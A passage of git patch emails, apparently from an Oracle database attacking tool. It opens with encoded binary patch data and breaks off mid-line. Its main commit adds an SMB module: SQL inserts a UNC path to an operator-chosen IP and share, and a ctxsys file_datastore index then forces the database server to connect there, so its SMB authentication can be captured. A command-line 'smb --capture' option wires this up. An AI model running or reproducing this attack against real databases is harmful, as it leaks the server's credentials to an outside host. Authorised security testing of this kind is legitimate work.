zf~uBO(aD#uDayxXwvYCrKf#2_&3hJi@^w>(%!g;Z$_q49_y?dR^w&r#D_5g0Z!}z&PW2%s+L+uYmBz7_P81EIO17@iD8#s_XoW?r z)(h%ykyMtbMgErFxK9bgA;5=6+tGk*BR*hAr80)IJ8&$vvDT}N#NA>GLHt^1d?B~) zV46KYrAN??D@X2$f$GuHGr31*--Bc{m;A30sVMQM>GOGAKg5~Cg$*%uR?D~qbND+ZZg}X%Hr%4tcbTsuafNW} z%x|NqoWjvAZy|oG*B~>`kEr&BlL!OB?=i_0NQBbSfJOz>llD#iDu{%8<$nKb8PFp@ z(cE%`Io9je>iTE0)~P*EN=p#?i$s2`VAe*g<>zZ&+IWGngc>Li50^z*JPNzFW-nIP z!@Jxe<)!a_rlwLW#PiS={F=XNd;fcDRIT~bLs%#z0Mf*EAY=J6#6xB~)D=A|%kUw` zCnnyyS>&}})bI<)`1LgjO9OX0k-l~x5J%Nv%mjD_6g)Ac*LX=>lGTE9 zWU9_t`Zh`zH@tig5J73c%bwa8f_L(5LcUh7&uc&JKEkbjt7K2l$k8jCT zXn(t8AQ}d_XMy^R<6c}}VYeVV)Ee%GJe$ljDWnAXu%=D`klGKIEN~q9T;-CkYXj#oeaW%N0)}tDPyf7%D@rjaK$7G)f|yQGDNWpx>Y# z7Nix4dz<@R3QE;{Q0rnj`!Mx;kmc@cA9iS7O!0y=_J<$x#!iehDqV{Lh1Wb9;I8_w z$|WPSHcgr1*65ohW=crzB{}~9hfgG*zR7JZ;S>16OmLt!p4@xH55xGDS^ba$l4mM3 zenc}?uq6f+#!&Nef92>>Pt_AmHNKz`IijOcAoOdS=MEcf+JKH4!oxejTRtw!q*y+TZKSu73dJqyBlv^&|6wp0}SxY}zP6 ztt@cU&xCzqM?t7*pdc??G=rIW8p9sBgaO9}{~!bG`6vwlr~gnfDTo4!)V9$k{Y&Qd zYF{N#J%(*^Si_T4jGc_3@b;SN&*z9sKj=Tes1@wo)~AM?KLozWZt;kg5yEuRwC%#> z_a!E5Z*|v!y-5vF&DO(zfQO^SWhh5j_OKizB8gZ8Sd z!Ssr5NZiE~L#~h%>Z-QSkx$}i)L~}yAo}L&l&Bun&ff|>|L2 z1gn&0@w?T=R2K~+rQ4xC`A@#on;gu$j|x(sWTmlAelxEe>~FT88cNcnZ^;;x1z+Oe zSo)_#K?Ih2G;@U^5h&saMgIT=zZGRh;wyMOK!MvO4?`IHAI;(R^#;7Yzwbdd`lttO zdl)LrQ<7HD`ZS%Y>Lc1Uyob|b&vU`bRFqVzB)ib*vcVEQZN-o!P+ndq4HJ2YU<&Z` zL3<%-hl#XPexqb_AG?33C4Lpe8UApB-7l4C%le(oSyp=S6Rfy3RwcO+q7X>CB5~=R z%fP$|D6SUCztoV1a-GS4)|G&PqsLt&%GQV95YTLVVy#?gSNVq4A;|F?-xT5+MTFRn zuEVBLi+!uc;lpZwp5mY{1=3o9;uOzCR44!PYZ-xXE&|y<4Z+4;NmW4ayn*bIw9N=P zyw!Ifiz%CRLpn#rsS>2peT3;FtzXqbtq+csn(!#r-TgCcMTxE`906dlgozl*&+D|u z40>%R<1e;oYY-q79ZDh!xJ}~0=;8g`9WD@%L{5U!iZ^5H`ubo-g(Vh*bC$8yZ2ou3 zH3${~;>d>KrD_%jCrcZx7QdxmT>%yg?@qf&3{yDYHVuNUa1~pL49Jz>33@QakAGdU zP!$U@Kl$>aFi2wFD-H|q^S!cpe2beGCZ4~O#O%637#svkR93DDgz?m;0MSSs`GDru znO5hpoSYIY2~!w?k#v)&gxqv_tr+AzTVUZ&ik@4kN^%2P)I;(7h$`)M(XH%~GdPYM zbyiowVo|BnJ^JAyYZ&i$EyuhSOY)u0TU1If;)~Nju_;(AUC{G-gA^t8#{>|I))f~+ za|4dhlM09h-iHs&V3L^A51Lx~fb#+)oGhK09Sjc~@A#X2&eKb-Zro*r98A}<3zkoj z_Rs}$1@c0rOC)~ktYnJM41mSz_>H!m!a$FzmRXoE5hzXhZScU^+;)LLs6DvB^1-nT z`3{SQR~!~00wTmr@zFZ_%rP4|J2&G89~QmrVrN?kUt(c~?lcWOyq>FLFg)^;Yqg@6 z|8Tf6j{u%SubLY^Am}3(j^I5eND!@U^dv4%9i(IVu1A1p7HO2_u&%xSey@m}Gx&U( z$BuXQzXz;o{R0$ZHE)M0oAk)**s3Kh3LNyNobiwtPjBZ%e^o3iDr!#H+jo`)DhSe% zhwlS@$>OPF!8RqLt6T>md9dVxJbL0*q4ebc0Ho*-Zfx{993ShQC1kh5um`&JgYb(*Dz^LqSYRa-aUgyds_K-Mk3hV}!VR_9-y5GmKj=}$nXGR}MBFHQrUB$l`HR-REhS*Hr=0*& z-NTj6ulRuxbWYhL!<5G5B# zX5(ri&nZJGO*ldHHNrb+m}@U=Kp2HP8{vxUdC_m7W?Zs0@;D_lafGCAyE$0zzM^ zvHTMu(`HPWm$J{%kQb=1LiLW&--@c=Tg*%EvyveV$Agi-F1!y(k4FY(=1h677?Fhw zu!-|%wezJ7!<1xP5l(-cr1$P2im6t3&ihsBE-7fthHj z_zEQVyRZ~ck2d?GhK~U;MWVZb$-g8LrGDC|tWrD2Y8b!CtgC1EkKaab*KsJGO5i}G z4~yfjK<;drA!(T^#1;Voz5f7RZe+el*@Dl#c>6-Ka1?>u=-)Lmc}^`*$#n4h;XoSp_qZZ{o3DuKsZc1{Ti(mMvi9o zPAv4@DiZ-AG7~b9shCGT$KW>;f`Wt*&UT%CUgzf-l7jaP%`OYVQ_zR(eO#UmR9bPT za5*Phom^3kZD9(5{)zwt5wIX?jB^}330nI04_#=L>>zuEDe(r9$3<6|cioWZ{#y3? zGsULgigMR1R8_GFMC^Ur4QpA0e=p<;03*|7kU61n&GN4B);Dw$%L%-iF0|@~#_0kM z3zjus|GlrG1+kB2D1)e~!NHH!_UA=K6O!QYWHbgLFTF)$nS#_^Wb^NTyqZfh=5MAW z3KQLs+VU>1_<4Q~-!RoNOQuP`_y6t<5$d9{AAg3yD8Eth zqH5yuvo}FXPDXvggR2)goj9@IDy@zZUfx5#?jAQ=_eA_iPuPj0R1t4F=+^!N?OloH z6y|xuA|l`Rdu^7v?sxa!`Y|69NdgU&qL=FOAWko@epY|I?eHrRwwb*_NgeMC)!(vh zduwDhQvv}e4}-;+XvK+z7>H5sGT1kAI`YIy_UgLysnU~$4?(D}Y!1P-3dAXS!}<+2 z2RAwMrTkj3N0NP7T~z5G^)|l?Ub9^uw&nM3vhoiclx~}mFYUIaeo6mw6XO^8ZGWy+ zrG_4HgP?zV7~93Hout%)N#=08w=j0lrfLctitCBjt(M*^jCK>~Od_&6z9VnIyS2|g z<#;yVI%?M8ePxmMw>E6`UHzJz`f@j1w={6!aAw!7ZR6LYl-TrOzun94j`deKY@>k* zV-BK+_vU}H|e1OWp=j zu?KO%FZx%d?$mBShvNp#%gM1n@^u-bu84(85kWgM_rG4+uL8aAJDE!F+v9h&g!whg zqiaLw!ue#3THwhOtTdD1aY*|DtlSQ`F$l`9Z(KB;jqIkK zwHa7`7-9LE3V{-2hZfW6d|;E#wr4MO{@U{=^q@1)02R(7-sW2g*$ik+k6dlAam5k9 zcAOZ~xuS=dxf9Y?N}P+OtJ;xcrrg2X8K0yTZ?=oZ%D<-eu{Bi!$H>VP^H>*U-fzD{ zM9PVZDYo2H+J>|RR~;(P70W^px?1G?^R72~AD!VYmKK4)8$vW%Dl1E^Bsd7*9N3V1 z((DZR*qecmEa?@2)Y(Z4UDIQxFznqD!{Ie_YyMPMj>cMY#4X7-gW>){0zCOWE+-R0 z5j#J?)1}0Bjm#2qaNuYL`$&jO-;R6>`vWT`C6@kqP&wF88~5Au&uo>Jz^`9vrPR+8 z8e6}@2;3)_5n43LO+T8Q#E7a7I+ku6K+857U#otCEaolj=P&?rrliEJ@;rXXmNID! zP0FkrwK;uK?ascN9E{(*h=Ma}ag9l%|IR2(Bb-@Hj0~?8$w_^3=-r#9P$jwy0*iok>d z@Pd1TE6W?+Ev2zR!Gc)o6RQY&-O;rrx$&73eg&Ua=X}8PIGtcsusAGf#I zEp@aj{72eH3Ds7}lPpytj)NTQ$oDQVNug#^Dy=t-jA@nT{U6uE4ksZgy%r`uZ*#>E zWzYI^T+-l;owPBbv>Vp}Se^h&;Ye1jmX_q9z9TP18cEad2pQaX52yoHOVTE*b~AiZ z_Wbi(hFM!k0eXw(YUE^X_FFBvHomBio1G+7m(_}qh?`&LIyAhY!`VtX=-Fcb7iq*< zo+T@psLI3IJVxqmAM@(~^^h$qq=>$1eU3^cP6-RZ^AEtqVPw?lfWW|J5Z1%XysFKF z#!lMcT6H|VW=i8A(Q;9Hkq_xIH?bU)*9^c1z zFhFw-O~)}1rgX^nGLi0ZQjMqMpMOUH)tcRBP2I1BC@A!fxP+tooO2$T<8CCEqvH$5 zqZYiGLD#r_tX@m?~8RU zJ@1TNnV*QhK)+AvZe?C{XfZ+iU851c37pu)bc@R&Z~UR!6&d9e*g`GpXE(`jTcW9d zv+_bOq}LPru6@*arc@`jT@h!unuL8G93{Sc0pBUtMO-1qlxSIRN@} z>eRrAu$-LQ3M4yhQ20L(gh%8GZTooE>ZLX@KhM|F`KKph6d2pgq1Ks@d{QtN8vz@; zTv-pF2vYKAl%C^ZktEpys;lOspYPL5dq8r9Y_MHTwjtf*B7nhhXGeztqlF()>80sp zC@lZ+)9r`~y$VgT8e8PzH_Q+prMSTh6NyQ_=Obzd5ZR#F_w1R0&;UQjo#cAdldNz0VO*Kmujr% z9{{&kUobO`@;Xl22EJ(jG|YF+#tlzJ-T>7Ej+fP zqISPoKu|&Qz*^s>aP5=O`#zC`y?mI$QIzNERhcbwN# z$GtEU;jypA8mIn7aO^UGEjre|@^c3-`tSp6$-;o;)>HvnG!Phz;N?wFdJ`cRr(tI1GgR^Hl>@*x#J28Y%^z!~Se{a4+m}kZcOj#2p=nr1Ug2H7> z;JFp#Q4J=eQ*4DqV!{J1oLqI>A-3pC(KCZGc+?BcYRdgQ`ulSRMxfD?hPp{P#Zrfj z6%Pg%3G>HQhqRHnm*ck3e}E9?@xP^$(lr)KYNm~;sHKWiC&i3;1bPpa)W$b8y)6|K zNSZ@_JI!6H8O`0#FS5~^NI4EP^~uEdI~H*BIv$GY*?(ZZRHlmYs=nF#R*%Rx3XPZ} zcI~;dE+>dJ8zS#Ze!4YYd5Rx9vsgy`v1#?8Z0S7Fe9SVU1#SH}#iG&u`vdE73cdby@iRnkmJ>Yhr8Osqtr0a^X04S7bwI ztS0nej`+Z#mPKUEKfl31yxM zdBKk#6~eo77Lyf2PH0m4s_nH_KmMh!8KJ#S{|ETY^}8)P)4gRz;1vmfRQb+6Xo0sk z!aSZa6AfZEu$y)W0JB1Y%BPNpyH-eMTT8r$DLi=I_5QeB#T;Zbn~nK83`D(u7>}G$ zuH;Zq=uN|a2BpJ%NCyB>V6fj;GP?SYm7?xF7;gz)hH!x9{{Se)bBq0EFBzs=FLHqS zlR%6hqlo*UxF2mz>^or+q3)_A)!!=O)j$^n+@F$y7=96|gk$6!^GcT%?+Ec>N+;{U zW5lnLW1nX~LL$<$&7=Y%qbR&_q+He8a2~gVaz>SB>b3+i5v6&l_x9q}L zRQ^kQG?du8-S=n)^x`Q9JPH+O_a>Nu2Ad%bw4fz!V9^l_M6qGLf}0vQ$1ht*Y)7=TU<{~OB| ziK+6nKEEeT9dWTTcFHNq4^slW3dc=Kjh4Ve<7#chfgo*5mukSLxxWABl&(+!4FehSzhLRDdl00{rZ zsB{3i5RO_=7Y<*Dy>E|HT$TdzTd+PO_VuL{pkl|i`TIS|hdG+^%Wg$-qf$*$4s?An zWuYz2@*QVJ^9+i<=oC-n5CS9s+Kv|%XH(!B;w}>k*JIG(J!IXf#V0_-Z#b+-**gx+ z%Mox;lX!_Z$vj)Y%C|f7eLw;oF=%behY{Iie^Q(c|3gJ!a!({YKzuhH78ZVlqVfIN zRcqWwp`Y*jM(a8H#7dsgq1^tOC`}(kiG>i%pZ@m{I$>fuLUS)$Xq%g^i6x6CKNnJ~ zjp7-fcC8@)tqtM22_sU&2f1DcXKsT}x8>V+A=kOl`rzKgWn)$xfGC*tp4jh;eb>c= z9u?vPMQ_hT(^tV@C>?9UX~Q<#5ib)w=er^!-$clWj%bP`M%sUn)I?J1#c~+Ljblf2|mjzCHBN~D`HHArd zN(%Ha&c||B(OI1u3fxAC79Btup8qM6yB0{MXpjhzWNe@fUg)c?=3C5?hr7nzde_6(&c zbUI@*qc1wvn$2E?=&mBNVZ@O;w#7jH0oKZYT10e<2iSu;GGb(Oc3F@j^9|P5$+?3Q zbEgU+?uW8JKLZ`um5dDS+-gbWtR8-u<&Konx5NrmW z)gyK5C@T5GAHU2kx7*=14j~IISh!TKRi!x+7+fzUojfv?)ywtm)CNBy@v(wFTSbYd zNrQ{<)P~F(pqv{?4#oavHkaOS5P$Y2eQDmiNAE_U?Yy{k65lfnVMm0AGx3G0_w59) zc2M@<&;<>rNXa;_eDSY(qZZ;zqYtJFbs!G5v*X<*JRmr2QTo*`J{OtpKpGG0PqF#v0$GIBzzP+{-jb)GHSYq z9#tf6KP(igv-`l?-ajEO2o`Qy#;rAj?gRc9dW5Eyn6Vhwaop>^(XWs;@aM{<&rF&! zcu8N^F6;!LEKK`(>VR)f7QS;$CkwZ15w}XT=5$KT8#E~JNBE?B%unfJ*Ha~++DU4d zBF~r2&m~+76sIS$EY6XXK#~aTLuj}om$>Pth{|81CrJ#mQ1Zr*PDCz&MPJYb?RsJ9 zGfDRI4ALywKWHGJ%OBP^^Df0^FVeM}DdZp_PlZ>t{xwHYxof7rT2wnI0%$8W^vvc> zyn&t>AQNLDB?q&eK5?|O(p2s$;*`4T*^Tp}Rk^(9s+0;coO}Hj0@gcRQ>0Ms&rC=r zYKocqzWLDXR`=t`xm_l0D)tFm5o#BM4ze~ijrQ66<+wYQQ50+@;`_GB%{jty;ppE# zB8P4jeqFMYGrJ%y@_zQ>T(wJI;-c?IB+1(|qNHJ&Qf{xp0wRzyySe!X00QI*0>|{!b|GK&0 zoHINm0&?YSp2P6+w0jVm%ssn7*F|ltV~eSLnW&j``1xsu-73!)v%w;hnrB6Z67Ed| zm@OX{sOPhuaSe(Zc~v&SiqyU05W!N3DD8VLwmSlW78r1C4cX)kLB{(GcwW_hA(?fh zSwE;6Cq2$f)X0|19NKrc6Om6EO`I=lW2i^YP+}BrL&+Ir4arUA#AyMx@QlS4{%w@y zvD}wBOVzwV-O84BXPQIvK|D7Bi~@Vf?y*h@#QbLpDn0ZDw{JbCP%+&Fmz$9L3x zSf{IR(BBBsgZ7(06@^G$B5*+woNQSQtM!bH6jOQ(L?^%FiQoQjCq$HYlSfrTjJlVf zFwu-=)OBtWI62)rD7d7{ROA}4?cc@!S-Yo?TQ5UPD5pZGwEW`VL<;fRq!mv?Wat9 z?PTcx!OSIMv*%KeeH7}A&5>g#q&6h4=+0u{SPiO8#}=*A0M)Cs(6WEC3sN% z&(=+|L?5C_gO*q&evY|Py#aIvjF;>}WGkRz%DJW%fG2+k;6xO9<{WkmOhfcm5DRGY ziLrUo{43<5p)$Bf+UO_O1tpmt$&T4yy@vEV`TkM2Ya*d+LXLqA^p*uJQ#wQNv+J0u z*p3onYmhC$JHBdn-KxFJ`Js;s$dw{aW$Rb18}Nlh3N-SG-FhwwyAEFk$Pj6p8VQVt zcni?l5zu`I$~cCtH`O7gWuPLP;3h5~hgP<9_wIlhT`@F_HglKxPgU4URXQAEnWY-j zjU}w#W`hKwE}3PV-sfkbYi&AWD}~-6bUb6RxD!0wpO5EAC)jW-yWvqoi`jBZ&?P@} zCqAg}`j)bfW=z%}j?yXbO;j~!`pioGAp-{-VE7?2!3vdFH%RsmdO}73K>2savPuF; z*@!VBq6j_aBYXyw?JzMsL$r!WwDQnIsD^eTh~O$Rhy{Yk__0tbI*!dnw1x{nu03R3K}x$P zl9<_5_No+rf(Pf_FdJq6@3UT)o4egQ4TL6I#&$ASMR3#LbF6)~tc6Jd$)hBF<=N9f zMcxjxV{`1KdwdQt)(-M`d(m0^8k~>2g64$pf#?cZ_@SON18H<|={hDZ3WH|o54m3f zf6Rm5To%lS`$&dEY;6$;Vk~2Oiv9AXm48LjKA2w}6jFN>&NU;Ts0I0}Lsj{_OZ{oF z>O59aP!%QGV1$n$IWw6da|6UB65RGfS0wV%%duzuC3>(8>3E6 zQjf-*TKOdKJ8t=ImrD3<9ymDfy>-ee?se5|CNc;b)`uxs$K-T(6~t7| zY3p=igz=9|vC#_?+TO6n&tjE^kXB=e;cJ_l_JTvV>FpY9*$RZt<_Uu@mf!VNL-_H| z{R`jMUr;4bnqZwov+z5jRFt@1YZV=1*B=I%{SKW@gRK$ZFS$(UiA~smL}c+7oZ9htkH7UBbo&8W-p@L@ z6}l#7sWW*rzk_6-<^#iJ4XDqt*U~n@0u=uM|4Dc1X^7O0&MCD&4~N$BdXKz{5BdOp zFfgm{X1N}s|H=0c@b|gEt@_Sve#WT>zg3>|i_rLI9`%%M#&RqUxJbYa0L*~#t~mCe z^n{AHWUX8q>}Xt^P5p@G(W@%Z^*^e~E-hk(k z?HTm`#@;120|6NSv)C7Ihnw!)vM0)7xj~J=*uVz-S(*P-`Va7`c^MU) zmNI+_gfp9AdSs~`m|zVG8&JAplE*LwBK?nR-nRGirifBo-ghYW0<;^7F4y(#UlwHN zi>2d;|BGt=e?DOQhcr2$z_$M7sqWLKx&G`e|40l=|6namRU;zuEBqKM)CZ!(6h*(n zKWk*T4jW)GVl;dOkHaka&K#hC=rSa$?S!QK(TJ?pM{V3BzQ5C!scdaqM~*>tp;ZW- zX#0utxKwHEIf`eyb;O*mDSGjFNRW8BTdX?yZ29{0#i~X7wWUt&Ow4b`+BR^s6Ej}b z&+<%d+#%lZ!MLh&Bp%L8u6MfZ->Vz&gR^VDy}G6eqt;OnqEE2c&Re>MHfwkVg;07p zp#KB>cb4@5E;7Hcg8&UjM%E@(?I2scT>`OERt@mQp0$-5K}Az>Rt!vMpDH2>S{A~G zTO-FlJv1%Q)G-?&$Pg3u1`JGdc0v0&!b9zp9C@pp-H_`;+WZyRk}R88CTyUYlw_WFxIWu~ zREp;ir5K2#*gJeVN+O`;sS<=JE$O|ukbQt` z%T*E$d@@w!O%@4lmw%|0;#-a~$$~B91K}BttS~@T`DbVpIS?Y|bR4gnkc|q2*7iSu zF&W6{o>Y zm3TT3Y7X1b9*9(M$V956lFmN{ELYg9^$Fk6TJ%@&#q#^(K0y);>@PebK_whujma?- z?{iL2FX$C5!VIhzZOUA!;tbUMD_3^u+k=elEK4+Rowm*m^m}dihP}m0_M%8Yz(^dv zk;hezCD4|gQ%z8X2zdpbQ4O$c$N}5Q1FaI1D|*9YQNu-mEWyF3v;d~_9|>`A{{Sy1 z#|7XEyv$N-T>E2r(QP;IBEl5wMzClWV&6WrMAR$^9$z_mTtUS+42P&PnGdC`A=X;j z33dox+K%6~MarFs&jzTT>V%oz2;C|}Nsy%;T;Nr<`ToX9pDHeT>*W$0MkOX@-~);S z^wAH)5k#X4`#xwk)%SK(_8P=9FyQI04pNVa#_6O|L$^$%ZELtQ&e1Vx`MdY3Uu{TD zI3B0Mga5nbduSuH?n_0udJV}?y(p(yHw|7!^`IZvGbp?HAq{$Xi$gX+Q|6(wsnrBB z_Mmt!Ww0AJIgwMb6itg(QT=ssTC48K;BWP*<)8n5oy&i9L({TxrUxfgwW2rpqW{+Z E7xAL1O8@`> literal 0 HcmV?d00001 From da12cfc3787d5426e581e40037640a396000225d Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Sun, 3 Aug 2014 12:48:22 +0200 Subject: [PATCH 25/83] Delete unused functions --- Info.py | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/Info.py b/Info.py index ed65788..4c462a5 100644 --- a/Info.py +++ b/Info.py @@ -17,20 +17,6 @@ def __init__(self,args): self.version = '' self.os = '' - def isWindows(self): - ''' - Return True if Windows - ''' - if "windows" in self.os.lower() : return True - else : return False - - def isLinux(self): - ''' - Return True if Linux - ''' - if "linux" in self.os.lower() : return True - else : return False - def isVersion(self, version=None): ''' return True if version 11 From ce559819bd1112102a303363afbf11d86d97bd4c Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Sun, 3 Aug 2014 13:58:38 +0200 Subject: [PATCH 26/83] A new module: SMB authentication capture --- SMB.py | 153 +++++++++++++++++++++++++++++++++++++++++++++++++++++++- odat.py | 19 +++++-- 2 files changed, 167 insertions(+), 5 deletions(-) diff --git a/SMB.py b/SMB.py index fc7e6c3..e0dbc14 100644 --- a/SMB.py +++ b/SMB.py @@ -2,11 +2,13 @@ # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser import logging +from Constants import * class SMB (OracleDatabase): ''' - Allow the database to connect to a smb share + Allow the database to connect to a smb share and implement the smb authentication capture ''' def __init__(self,args): ''' @@ -14,3 +16,152 @@ def __init__(self,args): ''' logging.debug("SMB object created") OracleDatabase.__init__(self,args) + self.localIp = "127.0.0.1" + self.shareName = "SHARE" + self.TABLE_NAME = "ODAT_SMB_table" + self.SQL_CREATE_TABLE = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))" + self.SQL_DROP_TABLE = "DROP TABLE {0}" + self.SQL_INSERTINTO = "INSERT INTO {0} VALUES (1, '\\\\{1}\\{2}', NULL)" + self.INDEX_NAME = "ODAT_SMB_INDEX" + self.SQL_CREATE_INDEX = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')" + self.SQL_DROP_INDEX = "DROP INDEX {0}" + + def createTable (self, localIP=None, shareName=None): + ''' + Create a temporary table + ''' + if localIP == None : localIP = self.localIp + if shareName == None : shareName = self.shareName + logging.info("Creating the table named {0}".format(self.TABLE_NAME)) + status = self.__execPLSQL__(self.SQL_CREATE_TABLE.format(self.TABLE_NAME)) + if isinstance(status,Exception): + logging.info("Impossible to create the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) + return status + else : + logging.info("The table named {0} is created".format(self.TABLE_NAME)) + logging.info("Inserting into the table named {0} in order to connect to \\\\{1}\\{2}".format(self.TABLE_NAME, localIP, shareName)) + status = self.__execPLSQL__(self.SQL_INSERTINTO.format(self.TABLE_NAME, localIP, shareName)) + if isinstance(status,Exception): + logging.info("Impossible to insert into the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) + return status + else : + logging.info("Insertion into the table named {0} done".format(self.TABLE_NAME)) + return True + + def deleteTable (self): + ''' + delete the temporary table + ''' + logging.info("Deleting the table named {0}".format(self.TABLE_NAME)) + status = self.__execPLSQL__(self.SQL_DROP_TABLE.format(self.TABLE_NAME)) + if isinstance(status,Exception): + logging.info("Impossible to drop the table named {0}: {1}".format(self.TABLE_NAME, self.cleanError(status))) + return status + else : + logging.info("The table named {0} is dropped".format(self.TABLE_NAME)) + return True + + def createIndex (self): + ''' + Create an index to start the SMB connection + ''' + logging.info("Creating the index named {0}".format(self.INDEX_NAME)) + status = self.__execPLSQL__(self.SQL_CREATE_INDEX.format(self.INDEX_NAME, self.TABLE_NAME)) + if isinstance(status,Exception): + logging.info("The index named {0} has not been created: {1}".format(self.INDEX_NAME, self.cleanError(status))) + return status + else : + logging.info("The index named {0} is created. The SMB connection to \\\\{1}\\{2} is doing...".format(self.INDEX_NAME, self.localIp, self.shareName)) + return True + + def deleteIndex (self): + ''' + Delete the index + ''' + logging.info("Dropping the index named {0}".format(self.INDEX_NAME)) + status = self.__execPLSQL__(self.SQL_DROP_INDEX.format(self.INDEX_NAME)) + if isinstance(status,Exception): + logging.info("The index named {0} has not been dropped: {1}".format(self.INDEX_NAME, self.cleanError(status))) + return status + else : + logging.info("The index named {0} is dropped. The SMB connection to \\\\{1}\\{2} is establishing...".format(self.INDEX_NAME, self.localIp, self.shareName)) + return True + + def captureSMBAuthentication (self, localIP, shareName): + ''' + Capture the SMB authentication + ''' + logging.info("Delete table and index if exist") + self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting + self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting + logging.info("Capture the SMB authentication") + if self.remoteSystemIsWindows() == True: + logging.info("The remote server is Windows, good news") + logging.info("Create the table and insert the share name in this one") + status = self.createTable(localIP,shareName) + if status == True: + logging.info("Create an index") + status = self.createIndex() + if status == True: + self.deleteIndex() + self.deleteTable() + return True + else: + self.deleteTable() + return status + else : + self.deleteTable() + return status + else: + logging.info("The remote server is Linux") + return ErrorSQLRequest("The remote server is Linux") + + def testAll(self): + ''' + Test all functions + ''' + logging.info("Delete table and index if exist") + self.deleteTable() #Delete the table because the user can stop ODAT between the creation and the deleting + self.deleteIndex() #Delete the index because the user can stop ODAT between the creation and the deleting + self.args['print'].subtitle("SMB authentication capture ?") + if self.remoteSystemIsWindows() == True: + logging.info("The remote server is Windows") + logging.info("Simulate the table creation and insertion") + status = self.createTable() + if status == True: + logging.info("Simulate the index creation") + status = self.createIndex() + if status == True: + self.deleteIndex() + self.args['print'].badNews("KO") + else: + self.args['print'].unknownNews("Perhaps (try with --capture)") + self.deleteTable() + else : + self.deleteTable() + self.args['print'].badNews("KO") + else: + logging.info("The remote server is Linux") + self.args['print'].badNews("KO") + +def runSMBModule(args): + ''' + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module",'captureSMBAuthentication']) == False : return EXIT_MISS_ARGUMENT + smb = SMB(args) + status = smb.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if SMB authentication capture can be possible") + status = smb.testAll() + #Option 1: capture SMB authentication + if args['captureSMBAuthentication'] !=None : + args['print'].title("Try to capture the SMB authentication (Connection to \\\\{0}\\{1} )".format(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1])) + status = smb.captureSMBAuthentication(args['captureSMBAuthentication'][0],args['captureSMBAuthentication'][1]) + if isinstance(status,Exception): + args['print'].badNews("Impossible to capture the SMB authentication") + else : + args['print'].goodNews("Check your SMB capture tool ...") + + + diff --git a/odat.py b/odat.py index 416a485..c7f829c 100755 --- a/odat.py +++ b/odat.py @@ -29,7 +29,7 @@ from Info import Info from PasswordGuesser import PasswordGuesser, runPasswordGuesserModule from SIDGuesser import SIDGuesser, runSIDGuesserModule -from SMB import SMB +from SMB import SMB, runSMBModule from Ctxsys import Ctxsys,runCtxsysModule from Passwords import Passwords,runPasswordsModule from DbmsXslprocessor import DbmsXslprocessor,runDbmsXslprocessorModule @@ -144,7 +144,10 @@ def runAllModules(args): #DbmsLob dbmsLob = DbmsLob(args) dbmsLob.testAll() - dbmsLob.close() #Close the socket to the remote database + #SMB + smb = SMB(args) + smb.testAll() + smb.close() #Close the socket to the remote database #CVE_2012_3137 cve = CVE_2012_3137 (args) cve.testAll() @@ -304,10 +307,15 @@ def main(): PPusernamelikepassword._optionals.title = "usernamelikepassword commands" PPusernamelikepassword.add_argument('--run',dest='run',action='store_true',required=True,help='try to connect using each Oracle username like the password') PPusernamelikepassword.add_argument('--force-retry',dest='force-retry',action='store_true',help='allow to test multiple passwords for a user without ask you') - #1.18- Parent parser: clean + #1.18- Parent parser: smb + PPsmb = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) + PPsmb._optionals.title = "smb commands" + PPsmb.add_argument('--capture',dest='captureSMBAuthentication',default=None,required=False,nargs=2,metavar=('local_ip','share_name'),help='capture the smb authentication') + PPsmb.add_argument('--test-module',dest='test-module',action='store_true',help='test the module before use it') + #1.19- Parent parser: clean PPclean = argparse.ArgumentParser(add_help=False,formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=MAX_HELP_POSITION)) PPclean._optionals.title = "clean commands" - PPclean.add_argument('--all',dest='all',action='store_true',required=True,help='clean all traces and logs') + PPclean.add_argument('--all',dest='all',action='store_true',required=True,help='clean all traces and logs stored locally') #2- main commands subparsers = parser.add_subparsers(help='\nChoose a main command') #2.a- Run all modules @@ -364,6 +372,9 @@ def main(): #2.p- username like password parser_usernamelikepassword = subparsers.add_parser('userlikepwd',parents=[PPoptional,PPconnection,PPusernamelikepassword,PPoutput],help='to try each Oracle username stored in the DB like the corresponding pwd') parser_usernamelikepassword.set_defaults(func=runUsernameLikePassword,auditType='usernamelikepassword') + #2.q- smb + parser_smb = subparsers.add_parser('smb',parents=[PPoptional,PPconnection,PPsmb,PPoutput],help='to capture the SMB authentication') + parser_smb.set_defaults(func=runSMBModule,auditType='smb') #2.q- clean parser_clean = subparsers.add_parser('clean',parents=[PPoptional,PPclean,PPoutput],help='clean traces and logs') parser_clean.set_defaults(func=runClean,auditType='clean') From ab3e5d0bdf0797152fb656d975c1252f1c37e72e Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Mon, 4 Aug 2014 11:29:56 +0200 Subject: [PATCH 27/83] Add an option to see PL/SQL requests executed on the database --- Constants.py | 3 ++- OracleDatabase.py | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/Constants.py b/Constants.py index f66a876..325afc8 100644 --- a/Constants.py +++ b/Constants.py @@ -31,4 +31,5 @@ ALL_IS_OK=0 TIMEOUT_VALUE = 5 PASSWORD_EXTENSION_FILE = ".odat.save" -CHALLENGE_EXT_FILE = ".odat.challenge" +CHALLENGE_EXT_FILE = ".odat.challenge" +SHOW_SQL_REQUESTS_IN_VERBOSE_MODE = True diff --git a/OracleDatabase.py b/OracleDatabase.py index 1949e47..a41e104 100644 --- a/OracleDatabase.py +++ b/OracleDatabase.py @@ -122,6 +122,7 @@ def __execThisQuery__(self,query=None,ld=[],isquery=True): ''' cursor = self.args['dbcon'].cursor() try: + if 